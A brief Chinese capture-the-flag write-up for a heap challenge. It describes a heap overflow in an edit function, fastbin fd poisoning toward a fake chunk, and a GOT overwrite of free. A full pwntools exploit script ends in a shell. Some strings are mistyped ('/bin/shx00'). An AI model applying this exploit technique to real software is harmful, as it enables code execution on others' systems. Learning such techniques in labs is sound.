一道比较简单的堆题。
经典列菜单。
create , edit, delete 。
可以发现edit存在一个堆溢出漏洞,那么利用方法就很明显了。
先创建4个chunk。
再删除chunk2,然后对chunk1进行edit,利用堆溢出将chunk2的fd填充为一个fake_chunk.
再次malloc就会申请回chunk2的位置,由于fd连接了fake_chunk,所以再申请一次会申请会fake_chunk.
fake_chunk+0x23的位置是heaparrary。
所以,执行如上代码之后,heaparrary[0]的位置本来存的是chunk0的地址,现在存的是free_got。
因为heaparrary[0]被改成了free_got,所以,上面的edit是在对got表进行操作,我们将got表里的free修改成了system的地址。
这里选择free掉chunk3。
由于chunk3里存的/bin/shx00,free被改成了system
所以相当于system(’/bin/shx00’)
完整代码如下:
from pwn import *
from LibcSearcher import *
#r=remote('node4.buuoj.cn','29630')
r=process('./easyheap')
elf=ELF('./easyheap')
context.log_level = 'debug'
libc = ELF("./libc-2.27.so")
#context.terminal = ['tmux','splitw','-h']
def alloc(size,content):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline(str(content))
def edit(index,size,content):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap : ")
r.sendline(str(content))
def dele(index):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(index))
def exit():
r.recvuntil("Your choice :")
r.sendline('4')
fake_chunk=0x6020ad
magic_addr=0x6020c0
free_got=elf.got["free"]
alloc(0x10,'a'*0x10)#0
alloc(0x10,'b'*0x10)#1
alloc(0x60,'d'*0x60)#2
alloc(0x10,'/bin/shx00'*2)#3
dele(2)
#gdb.attach(r)
edit(1,0x30,'a'*0x10+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0))
#gdb.attach(r)
alloc(0x60,'a'*0x10)
#gdb.attach(r)
payload=0x23*'e'+p64(free_got)
alloc(0x60,payload)
edit(0,0x8,p64(0x400C2C))
#pause()
r.recvuntil("Your choice :")
r.sendline(str(3))
r.recvuntil("Index :")
r.sendline(str(3))
#gdb.attach(r)
#pause()
r.interactive()



